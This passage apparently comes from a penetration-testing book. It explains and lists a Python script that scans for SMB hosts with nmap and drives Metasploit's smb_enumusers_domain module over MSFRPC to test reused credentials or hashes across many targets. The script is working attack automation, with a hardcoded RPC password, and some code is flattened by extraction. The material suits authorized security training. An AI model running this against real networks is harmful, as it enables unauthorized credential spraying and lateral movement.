This exploit train is relatively simple, but we can automate a portion of this with the Metasploit Remote Procedure Call (MSFRPC). This script will use the nmap
library to scan for active ports of 445
, then generate a list of targets to test using a username and password passed via argument to the script. The script will use the same smb_enumusers_domain
module to identify boxes that have the credentials reused and other viable users logged into them. First, we need to install SpiderLabs msfrpc
library for Python. This library can be found at https://github.com/SpiderLabs/msfrpc.git.
A github repository for the module can be found at https://github.com/funkandwagnalls/pythonpentest or https://github.com/PacktPublishing/Python-Penetration-Testing-for-Developers and within it is a setup file that can be run to install all the necessary packages, libraries, and resources.
The script we are creating uses the netifaces
library to identify which interface IP addresses belong to your host. It then scans for port 445
the SMB port on the IP address, range, or the Classes Inter Domain Routing (CIDR) address. It eliminates any IP addresses that belong to your interface and then tests the credentials using the Metasploit module auxiliary/scanner/smb/smb_enumusers_domain
. At the same time, it verifies what users are logged onto the system. The outputs of this script in addition to real time response are two files, a log file that contains all the responses, and a file that holds the IP addresses for all the hosts that have SMB services.
This file could then be fed back into the script, if you as an attacker find other credential sets to test as shown in the following:
Lastly, the script can be passed hashes directly just like the Metasploit module as shown in the following:
Now there are a couple things that have to be stated, yes you could just generate a resource file, but when you start getting into organizations that have millions of IP addresses, this becomes unmanageable. Also the MSFRPC can have resource files fed directly into it as well, but it can significantly slow the process. If you want to compare, rewrite this script to do the same test as the previous ssh_login.py
script you wrote, but with direct MSFRPC integration.
The most important item going forward is that many of the future scripts in the https://github.com/PacktPublishing/Python-Penetration-Testing-for-Developers are going to be very large with additional error checking. As you have had your skills built from the ground up, already stated concepts will not be repeated. Instead, the entire script can be downloaded from GitHub, to identify the nuances of the scripts. This script does use the previous netifaces
functions used in the ssh_login.py
script, but we are not going to replicate it here in this chapter for brevity. You can download the full script here at https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/msfrpc_smb.py.
Like all scripts libraries are needed to be established, most of these you are already familiar with, the newest one relates to the MSFRPC by SpiderLabs
. The required libraries for this script can be seen as follows:
import os, argparse, sys, time try: import msfrpc except: sys.exit("[!] Install the msfrpc library that can be found here: https://github.com/SpiderLabs/msfrpc.git") try: import nmap except: sys.exit("[!] Install the nmap library: pip install python-nmap") try: import netifaces except: sys.exit("[!] Install the netifaces library: pip install netifaces")
We then build a module, to identify relevant targets that are going to have the auxiliary module run against it. First, we set up the constructors and the passed parameters. Notice that we have two service names to test against for this script, microsoft-ds
and netbios-ssn
, as either one could represent port 445 based on the nmap
results.
def target_identifier(verbose, dir, user, passwd, ips, port_num, ifaces, ipfile): hostlist = [] pre_pend = "smb" service_name = "microsoft-ds" service_name2 = "netbios-ssn" protocol = "tcp" port_state = "open" bufsize = 0 hosts_output = "%s/%s_hosts" % (dir, pre_pend)
After which, we configure the nmap scanner to scan for details either by file or by command line. Notice that the hostlist
is a string of all the addresses loaded by the file, and they are separated by spaces. The ipfile
is opened and read and then all new lines are replaced with spaces as they are loaded into the string. This is a requirement for the specific hosts
argument of the nmap library.
if ipfile != None: if verbose > 0: print("[*] Scanning for hosts from file %s") % (ipfile) with open(ipfile) as f: hostlist = f.read().replace(' ',' ') scanner.scan(hosts=hostlist, ports=port_num) else: if verbose > 0: print("[*] Scanning for host(s) %s") % (ips) scanner.scan(ips, port_num) open(hosts_output, 'w').close() hostlist=[] if scanner.all_hosts(): e = open(hosts_output, 'a', bufsize) else: sys.exit("[!] No viable targets were found!")
The IP addresses for all of the interfaces on the attack system are removed from the test pool.
for host in scanner.all_hosts(): for k,v in ifaces.iteritems(): if v['addr'] == host: print("[-] Removing %s from target list since it belongs to your interface!") % (host) host = None
Finally, the details are then written to the relevant output file and Python lists, and then returned to the original call origin.
if host != None: e = open(hosts_output, 'a', bufsize) if service_name or service_name2 in scanner[host][protocol][int(port_num)]['name']: if port_state in scanner[host][protocol][int(port_num)]['state']: if verbose > 0: print("[+] Adding host %s to %s since the service is active on %s") % (host, hosts_output, port_num) hostdata=host + " " e.write(hostdata) hostlist.append(host) else: if verbose > 0: print("[-] Host %s is not being added to %s since the service is not active on %s") % (host, hosts_output, port_num) if not scanner.all_hosts(): e.closed if hosts_output: return hosts_output, hostlist
The next function creates the actual command that will be executed; this function will be called for each host the scan returned back as a potential target.
def build_command(verbose, user, passwd, dom, port, ip): module = "auxiliary/scanner/smb/smb_enumusers_domain" command = '''use ''' + module + ''' set RHOSTS ''' + ip + ''' set SMBUser ''' + user + ''' set SMBPass ''' + passwd + ''' set SMBDomain ''' + dom +''' run ''' return command, module
The last function actually initiates the connection with the MSFRPC and executes the relevant command per specific host.
def run_commands(verbose, iplist, user, passwd, dom, port, file): bufsize = 0 e = open(file, 'a', bufsize) done = False
The script creates a connection with the MSFRPC and creates console then tracks it by a specific console_id
. Do not forget, the msfconsole
can have multiple sessions, and as such we have to track our session to a console_id
.
client = msfrpc.Msfrpc({}) client.login('msf','msfrpcpassword') try: result = client.call('console.create') except: sys.exit("[!] Creation of console failed!") console_id = result['id'] console_id_int = int(console_id)
The script then iterates over the list of IP addresses that were confirmed to have an active SMB service. The script then creates the necessary commands for each of those IP addresses.
for ip in iplist: if verbose > 0: print("[*] Building custom command for: %s") % (str(ip)) command, module = build_command(verbose, user, passwd, dom, port, ip) if verbose > 0: print("[*] Executing Metasploit module %s on host: %s") % (module, str(ip))
The command is then written to the console and we wait for the results.
client.call('console.write',[console_id, command]) time.sleep(1) while done != True:
We await the results for each command execution and verify the data that has been returned and that the console is not still running. If it is, we delay the reading of the data. Once it has completed, the results are written in the specified output file.
result = client.call('console.read',[console_id_int]) if len(result['data']) > 1: if result['busy'] == True: time.sleep(1) continue else: console_output = result['data'] e.write(console_output) if verbose > 0: print(console_output) done = True
We close the file and destroy the console to clean up the work we had done.
e.closed client.call('console.destroy',[console_id])
The final pieces of the script are related to setting up the arguments, setting up the constructors and calling the modules. These components are similar to previous scripts and have not been included here for the sake of space, but the details can be found at the previously mentioned location on GitHub. The last requirement is loading of the msgrpc
at the msfconsole
with the specific password that we want. So launch the msfconsole
and then execute the following within it:
load msgrpc Pass=msfrpcpassword
The command was not mistyped, Metasploit has moved to msgrpc
verses msfrpc
, but everyone still refers to it as msfrpc
. The big difference is the msgrpc
library uses POST requests to send data while msfrpc
used eXtensible Markup Language (XML). All of this can be automated with resource files to set up the service.